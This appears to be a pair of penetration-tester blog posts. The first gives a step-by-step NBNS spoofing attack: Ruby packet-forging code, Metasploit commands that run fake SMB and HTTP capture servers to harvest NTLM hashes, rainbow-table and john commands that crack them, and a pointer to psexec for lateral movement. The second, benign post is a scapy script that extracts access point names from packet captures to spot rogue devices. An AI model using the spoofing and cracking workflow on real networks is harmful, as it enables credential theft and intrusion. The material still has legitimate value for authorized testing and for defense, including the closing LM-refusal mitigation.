NBNS Spoofing on your way to World Domination

I few weeks ago I helped on the Red Team at the Midwest CCDC competition in Minneapolis (actually St. Paul, but close enough). There were some talented guys there and it was a lot of fun beating on those poor kids. I highly recommend you volunteer at events like this. You haven't lived until you've slowly ripped the legs off a live domain controller while the owner sits and watches, with no ability to do anything about it (vnc + disabled mouse and keyboard).

Whenever I get together with a group of people like this, I like to exchange techniques and discuss trends. We discussed our paths of least resistance for internal tests, and I mentioned that my favorite are the attacks based on spoofing NetBIOS Name Service (NBNS) Responses. It is the very first tool I fire up on internal penetration tests, and it is very valuable on wireless penetration tests where client laptops are in scope. Before we get into the attack method I'll go over a bit of the background on what NBNS is.

When your Windows box needs to determine the IP address for a given name, it tries, in order, the following lookup methods:
  • local hosts file - C:\Windows\System32\drivers\etc\hosts

  • DNS

  • NBNS

You may wonder, how many queries make it past DNS? The answer is, a lot! Any fat fingered internal server name, a laptop looking for its domain network resources while on another network, or would be web searches will generate this traffic. You may ask, web searches, huh? We open our browser and type in "packetstan" in the address bar, what does the browser do?

Modern browsers allow you to search via the address bar (Chrome doesn't even have a dedicated search box), and the browser needs to decide if the text is a host or a query. If the string has spaces, it is obviously a search request. If there are no spaces the browser doesn't know if we want a server named "packetstan" or we want to search google/yahoo/bing for "packetstan", but it first tries to access a host named "packetstan" and therefor needs to attempt to resolve the IP for the host. i.e. I do a search for "puppies" by browser will attempt to get an IP address for "puppies" (how cute).

The hosts file isn't going to have an entry for "packetstan", and DNS is going to fail to lookup "packetstan" (no .com). So we land on NBNS. Here is a screen shot of the transaction:

Since the look up is just a hostname, windows adds the local DNS suffix to the query and asks its DNS server(s). The suffix picked up my the Windows box usually comes from the DHCP server. As you can see, the DNS server replied that it had no idea on how to lookup that name. Next, you'll see the NBNS Request. The beautiful thing is, the NBNS Request is a broadcast, so anyone can reply easily and redirect traffic.

If we wanted to poison a DNS lookup we would have to somehow get in the middle of the traffic, and that takes some additional effort. NBNS is so easy I can even do it before I have my first cup of coffee, as I usually save MITM attacks until after a few cups of joe.

Wesley McGrew wrote a tool to forge NBNS replies. He also has a great three part series on the protocol and the tool writing process. Fans of this blog should really check out those posts. Now that we have better understanding of NBNS, how do we spoof a reply?

To spoof an NBNS reply, we need to craft a reply packet that has the same Transaction ID as the request. The Transaction ID is similar to the one used by DNS (BTW, the numbers sequential and are reset to \x80\x00 after each reboot). We also need to specify the IP address to send in the reply. For all intents and purposes, the rest of each response packet can be static.

Mr. McGrew's tool does what we described above, but I wanted it in Metasploit, which means rewriting it in ruby. Unfortunately, Racket, the packet crafting tool for Ruby, doesn't have a module for NetBIOS, so we'll manually dissassemble the packet and create a raw reply packet.

Using WireShark as a guide, we can pull apart the packet, piece by piece.

nbnsq_transid      = packet[0..1]
nbnsq_flags = packet[2..3]
nbnsq_questions = packet[4..5]
nbnsq_answerrr = packet[6..7]
nbnsq_authorityrr = packet[8..9]
nbnsq_additionalrr = packet[10..11]
nbnsq_name = packet[12..45]
nbnsq_type = packet[46..47]
nbnsq_class = packet[48..49]

As previously mentioned, all we really need is the Transaction ID and the Name. The Transaction ID is really simple as it is just two bytes, but what if we want to read the name? The raw name looks like this:


The leading space and trailing null byte are apparent, but what kind of encoding is used here? Master McGrew describes it in the second portion of his blog post. Each character in our query ("PACKETSTAN") is split into nibbles (half bytes) and each nibble is added to \x41 (A), like this:
  • P = \x50

  • 1st nibble = 5, second nibble is 0

  • 41 + 5 = 46 and \x46 = F

  • 41 + 0 = 41 and \x41 = A

  • P is then encoded as FA

We can decode and encode our name with this bit of ruby (remember hex 41 equals decimal 65):

nbnsq_name.slice(1..-2).each_byte do |c|
decoded << "#{(c - 65).to_s(16)}"
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()

We skip the first (space) and last (null) bytes and subtract 65 from each so we end up with "5041434B45545354414E20202020". We convert that into ASCII characters and strip the trailing spaces to get "PACKETSTAN".

Fortunately, we don't actually need to re-encode the string since we can just use the original in our reply. However, I use this string to match a regular expression so we only reply to the in-scope clients.

if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)

The raw response packet is then created. You'll notice that most of our packet is static or taken directly from the Request packet.
response = nbnsq_transid +
"\x85\x00" + # Flags = response + authoratative + recursion desired
"\x00\x00" + # Questions = 0
"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
nbnsq_name + # original query name
nbnsq_type + # Type = NB ...whatever that means
nbnsq_class+ # Class = IN
"\x00\x04\x93\xe0" + # TTL = a long ass time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique = whet ever that means

The last line takes the IP address to spoof and converts it to bytes (i.e. -> \x01\x02\x03\x04). Fortunately, the bytes are big endian, so we don't have to rearrange the order.

Now we can run the module in Metasploit:

msf > use auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns) > show options

Module options (auxiliary/spoof/nbns/nbns_response):

Name Current Setting Required Description
---- --------------- -------- -----------
REGEX .* yes Regex applied to determene if spoofed reply is sent
SPOOFIP yes IP address with which to poison responses
VERBOSE true no Determines whether to display responses

msf auxiliary(nbns_response) > set spoofip
spoofip =>
msf auxiliary(nbns_response) > run
[*] Auxiliary module execution completed

[*] NBNS Spoofer initializing
[*] NBNS Spoofer initialed. Waiting for packets...

The default regular expression will match any query, and when one is found you will see a message like this:

[*] Regex matched PACKETSTAN from Sending reply...

Ok, great, so we sent a reply and have poisoned a name lookup. So what?

We can use Metasploit to setup a few fake services. That way, if a host lookup was for a web server or a file server (smb) the user will be directed to our Metasploit instance. The Metasploit modules in question will request authentication, and the client will happily send it credentials (sort of).

msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set JOHNPWFILE /home/tm/johnsmb
JOHNPWFILE => /home/tm/johnsmb
msf auxiliary(smb) > show options

Module options (auxiliary/server/capture/smb):

Name Current Setting Required Description
---- --------------- -------- -----------
CAINPWFILE no The local filename to store the hashes in Cain&Abel format
CHALLENGE 1122334455667788 yes The 8 byte challenge
JOHNPWFILE /home/tm/johnsmb no The prefix to the local filename to store the hashes in JOHN format
LOGFILE no The local filename to store the captured hashes
SRVHOST yes The local host to listen on. This must be an address on the local machine or
SRVPORT 445 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

msf auxiliary(smb) > run
[*] Auxiliary module execution completed

[*] Server started.

msf auxiliary(smb) > use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > set LOGFILE /home/tm/httplog
LOGFILE => /home/tm/johnhttp
msf auxiliary(http_ntlm) > set URIPATH /
msf auxiliary(http_ntlm) > set SRVPORT 80
msf auxiliary(http_ntlm) > show options

Module options (auxiliary/server/capture/http_ntlm):

Name Current Setting Required Description
---- --------------- -------- -----------
LOGFILE /home/tm/httplog no The local filename to store the captured hashes
PWFILE no The local filename to store the hashes in Cain&Abel format
SRVHOST yes The local host to listen on. This must be an address on the local machine or
SRVPORT 80 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)

Any Windows box that access our SMB share will automatically try to authenticate. The web browser is a different story, and depends on the browser and if the client machine is joined to a domain. It will either send credentials automatically or prompt the user for credentials. The table below describes when credentials are automatically sent, and when they aren't.

BrowserDomain JoinedStandalone (Non-Domain)
ChromeAutomaticPerforms Google Search
IEAutomaticUser Prompted
FireFoxUser PromptedUser Prompted

Most of the machines in scope for my test are joined to the corporate domain, so this attack works great! A Windows box that is part of a domain treats hosts, not FQDN hostnames, as part of its "Local Intranet Zone". This zone has all sorts of settings to make single sign-on easier. IE and Chrome both use this "Local Intranet Zone", while Firefox does not.

After typing "packetstan" into my browser in Chrome on my domain-joined host, Metasploit gives me this output:

[*] Regex matched PACKETSTAN from Sending reply...
[*] Request '/' from
[*] Request '/' from
[*] Request '/' from
[*] MYDOM\tim 4f717259791a8a3d6a11ae4050ed5c72ee125c7119e2a20f:
44a8674da9a460bca9c615c79a72adad83b5af7ec07eac05 on ALPHA

If we look at the log file we'll see this:

$ cat httplog 
Thu Mar 31 18:18:18 -0500 2011:

The SMB capture module will output a John the Ripper compatible file. However, the http_ntlm module doesn't give us a the file format we want (I'm working on a fix), so we'll have to change the file to look like this:
<user>:::<LMHASH>:<NTLMHASH>:<CHALLENGE> (wrapped for space, the actually file won't be wrapped):


Note: Windows 7 and Windows 2008 will not provide a LM Hash and any further steps will not work as these steps rely on the weak LM Hash. You can still brute force the NetNTLMv2 hash, but there are no shortcuts.

The hashes sent via SMB or HTTP aren't your straight LH and NTLM hashes. While the full details requires a separate blog post, the short version is they are salted with a challenge to "ensure" they can't be reused. However, Metasploit uses a static challenge (1122334455667788) so we can use rainbow tables to crack the password. The tables can be used with rcracki and the halflmchall_alpha-numeric (smaller) or halflmchall_all-space (larger) tables are available from freerainbowtables.com. You can download both of them (28GB) via wget like this:

$ wget -r ftp://freerainbowtables.mirror.garr.it/mirrors/freerainbowtables/halflmchall/

All we need to do is run our hash against the rainbow table. We need the first 16 characters of the LM hash output (8 bytes of LM hash) and the path to the rainbow tables.

$ ./rcracki_mt -h 4f717259791a8a3d /storage/RainbowTables/halflmchall_alpha-numeric/
[sudo] password for tm:
Using 3 threads for pre-calculation and false alarm checking...
Found 4 rainbowtable files...

file length mismatch

reading index... 13528977 bytes read, disk access time: 0.01 s
reading table... 450255152 bytes read, disk access time: 0.35 s
verifying the file... ok
searching for 1 hash...
plaintext of 4f717259791a8a3d is MYPASSW
cryptanalysis time: 3.40 s

plaintext found: 1 of 1 (100.00%)
total disk access time: 0.36 s
total cryptanalysis time: 3.40 s
total chain walk step: 2876401
total false alarm: 840
total chain walk step due to false alarm: 825144

4f717259791a8a3d MYPASSW hex:4d595041535357

In 3.4 short seconds we have the first seven characters of the password. The latest version (at the time of writing) of John the Ripper (1.7.6-jumbo12) has a perl file named netntlm.pl that will bruteforce the second portion of the password. We just need to give it the first portion of the password and a john compatible file (output trimmed).

$ perl netntlm.pl --seed MYPASSW --file ~/john-http

The following LM responses have been previously cracked:

The following NTLM responses have been previously cracked:

Isolating accounts which have only had their LM response cracked.
Account MYDOM\\tim LM response added to cracking list.

Loaded 1 password hash (LM C/R DES [netlm])
guesses: 1 time: 0:00:00:26 c/s: 515198 trying: MYPASSWORD1

We can see that my password is MYPASSWORD1. However, LM passwords are case insensitive and are always presented upper case. To get the case sensitive password we run the *same* command again. The second pass will use "MYPASSWORD1" against the case sensitive NTLM hash.

$ perl netntlm.pl --seed MYPASSW --file ~/john-http

The following LM responses have been previously cracked:

The following NTLM responses have been previously cracked:

Performing NTLM case-sensitive crack for account: MYDOM\tim.
guesses: 1 time: 0:00:00:00 100.00% (ETA: Thu Mar 31 12:57:51 2011) c/s: 3352 trying: MyPassword1
Loaded 1 password hash (NTLMv1 C/R MD4 DES [netntlm])
MyPassword1 (MYDOM\tim)

We now have the case sensitive password. Awesome!

In summary, to use this method perform the following steps:
  • Start the following Metasploit modules
    • auxiliary/spoof/nbns/nbns

    • auxiliary/server/capture/smb

    • auxiliary/server/capture/http_ntlm

  • Crack the first half of the LM hash with rainbow tables

  • Brute force the second half of the password with john's netntlm.pl

  • Run the same netntlm.pl again to get the case sensitive password

This method will usually yield credentials pretty quickly, but to get some higher privileged accounts just wait a while.

Once you have a cracked password you can (usually) connect to boxes all over the place by using Metasploit's exploit/windows/smb/psexec module.

The prevent this attack from being as effective, you need to modify the LAN Manager authentication level to refuse LM via GPO. It isn't enough to use "Send NTLM response only" or "Send NTLMv2 response only".


Extracting AP names from Packet Captures

Years ago, while working as a Network Engineer, I did a bit of sniffing of our wireless access points. I noticed that some access point, mainly Cisco, broadcast the Access Point's name. I also noticed that the same access point will use a slightly different MAC Address (BSSID) for each SSID (ESSID). Typically the last nibble (half byte), or two, changes. I thought that was interesting, and moved on.

Now that I work as a penetration tester I want to correlate those access points, so I can tell exactly how many devices there are and the MAC addressing scheme. That way I can better identify something that is out of place, like a well place rogue.

Initially I did this by hand, and by hand means: teh suck!!!1! I knew there had to be a better way to do this, so I broke out scapy. I'll walk you through the process of creating a python script that extracts all the AP' MAC addresses, along with their corresponding Name and [E]SSID (if broadcast).

Let's start by looking a packet produced by a beacon.

The packet includes the name of the access point. But how do we extract it? Let's fire up scapy and check it out.

$ scapy
Welcome to Scapy (2.1.0)
>>> pkts=rdpcap("beacon-packet.pcap")
>>> p=pkts[0]
>>> p
<Dot11 subtype=8L type=Management proto=0L FCfield= ID=0 addr1=ff:ff:ff:ff:ff:ff
addr2=00:24:c4:d3:04:65 addr3=00:24:c4:d3:04:65 SC=6432 addr4=None |<Dot11Beacon
timestamp=339645573495 beacon_interval=102 cap=short-slot+ESS+privacy+short-preamble
|<Dot11Elt ID=SSID len=11 info='MyCorpESSID' |<Dot11Elt ID=Rates len=8 info='\x82
|<Dot11Elt ID=133 len=30 info='\n\x00\x8f\x00\x0f\x00\xff\x03Y\x00AP3\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x006' |<Dot11Elt ID=150 len=6
info='\x00@\x96\x00\x11\x00' |<Dot11Elt ID=vendor len=6 info='\x00@\x96\x01\x01\x04'
|<Dot11Elt ID=vendor len=5 info='\x00@\x96\x03\x05' |<Dot11Elt ID=vendor len=5
info='\x00@\x96\x0b\t' |<Dot11Elt ID=vendor len=5 info='\x00@\x96\x14\x01' |<Dot11Elt
ID=vendor len=24 info="\x00P\xf2\x02\x01\x01\x80\x00\x03\xa4\x00\x00'\xa4\x00\x00
BC^\x00b2/\x00" |>>>>>>>>>>>>>>>>>>>>

The first packet in our capture is a beacon packet. It happens to contain the SSID and the AP's name. The BSSID (MAC) is really easy to extract (p.addr2). The ESSID is pretty easy to extract too (p[Dot11Elt].info). We still need to get that pesky Access Point Name, but it is nested in one of the Dot11Elt (802.11 Information Element). After trying this technique on multiple captures, at multiple sites, with multiple configurations, I found that the depth of the nested element is not consistent. This means we need to dig for it. Fortunately, we know the ID of the element that contains the AP's name, 133.

We can use this bit of code to find the property.

>>> while Dot11Elt in p:
... p = p[Dot11Elt]
... if p.ID == 133:
... print "found it: " + p.info
... p = p.payload

found it:

I faked the output a bit since null and high numbered characters either don't display or display funny, but you get the point. After a bit of inspection, it appears the Name property is at offset 10 and is null terminated. We can use that to further refine our search by changing a few lines.

>>> p=pkts[0]
>>> while Dot11Elt in p:
... p = p[Dot11Elt]
... if p.ID == 133:
... ap = p.info[10:]
... ap = ap[:ap.find("\x00")]
... print "found it: " + ap
... p = p.payload

found it: AP3

This works great, but we can't extract the ESSID from a hidden network since it doesn't broadcast its SSID in the beacon. Instead, we need to look for a probe response. While where at it, let's put together the code to grab both frame types.

Here is our original beacon again:
<Dot11  subtype=8L type=Management proto=0L FCfield= ID=0 addr1=ff:ff:ff:ff:ff:ff
addr2=00:24:c4:d3:04:65 addr3=00:24:c4:d3:04:65 SC=6432 addr4=None ...

Here is the header of a probe response:
<Dot11  subtype=5L type=Management proto=0L FCfield=retry ID=14849 addr1=00:20:00:6f:ab:30
addr2=00:24:c4:d3:04:65 addr3=00:24:c4:d3:04:65 SC=63328 addr4=None

We can use that to find packets that will contain the BSSID and AP name and possibly the ESSID.

>>> for p in pkts:
... if (p.subtype == 8L or p.subtype == 5L) and p.type == 0L:
... while Dot11Elt in p:
... p = p[Dot11Elt]
... if p.ID == 133:
... ap = p.info[10:]
... ap = ap[:ap.find("\x00")]
... print "found it: " + ap
... p = p.payload
found it: AP3
found it: AP3
found it: AP4
found it: AP4
found it: AP2
found it: AP4

Now with a little extra python magic we end up with the attached script.

$ ./APNameFromPcap.py

usage: /pentest/wireless/APNameFromPcap.py [-F directory containing pcaps] [-f pcapfipe] [-e ssid]
You must provide at least provide the directory or pcap file

We can then give it one or files and/or one or more directories containing .cap, .pcap, or .dump. Here is the resulting output:

$ ./APNameFromPcap.py -f beacon-packet.pcap
00:24:c4:d3:04:65 MyCorpESSID AP3
00:24:c4:d2:d5:d1 AP4
00:24:c4:d2:d5:d5 MyCorpESSID AP4
00:24:c4:d2:23:41 AP2
00:24:c4:d2:d5:d2 AP4

This script writes the BSSID, ESSID, and AP Name from each beacon and probe response packet. If the output is sorted and only the unique rows are displayed we end up with this handy table.

$ ./APNameFromPcap.py -f beacon-packet.pcap | sort -u
00:24:c4:d2:1d:91 AP5
00:24:c4:d2:1d:91 PRIV AP5
00:24:c4:d2:1d:92 AP5
00:24:c4:d2:1d:95 MyCorpESSID AP5
00:24:c4:d2:23:41 AP2
00:24:c4:d2:23:42 AP2
00:24:c4:d2:23:45 MyCorpESSID AP2
00:24:c4:d2:d5:d1 AP4
00:24:c4:d2:d5:d1 PRIV AP4
00:24:c4:d2:d5:d2 AP4
00:24:c4:d2:d5:d2 Voice AP4
00:24:c4:d2:d5:d5 MyCorpESSID AP4
00:24:c4:d2:ee:c0 MyCorpESSID
00:24:c4:d3:04:61 AP3
00:24:c4:d3:04:61 PRIV AP3
00:24:c4:d3:04:62 AP3
00:24:c4:d3:04:62 Voice AP3
00:24:c4:d3:04:65 MyCorpESSID AP3

You'll notice that some MAC addresses show up twice. That's because the beacon frame from the BSSID doesn't send it ESSID, so it shows up blank, but if a probe response frame is found the ESSID is populated.

We can see that PRIV SSID usually ends in 1, MyCorpESSID ends in 5, and Voice ends in 2. In this format it is really clear that BSSID 00:24:c4:d2:ee:c0 is out of place. It doesn't send the AP's name, and doesn't follow our typical pattern. This is an access point that should be looked into, either due to misconfiguration, or as a rogue.

Correlation FTW!

Attachment: APNameFromPcap.zip
This is written for Python 2.6 and may require modifications for other version of python.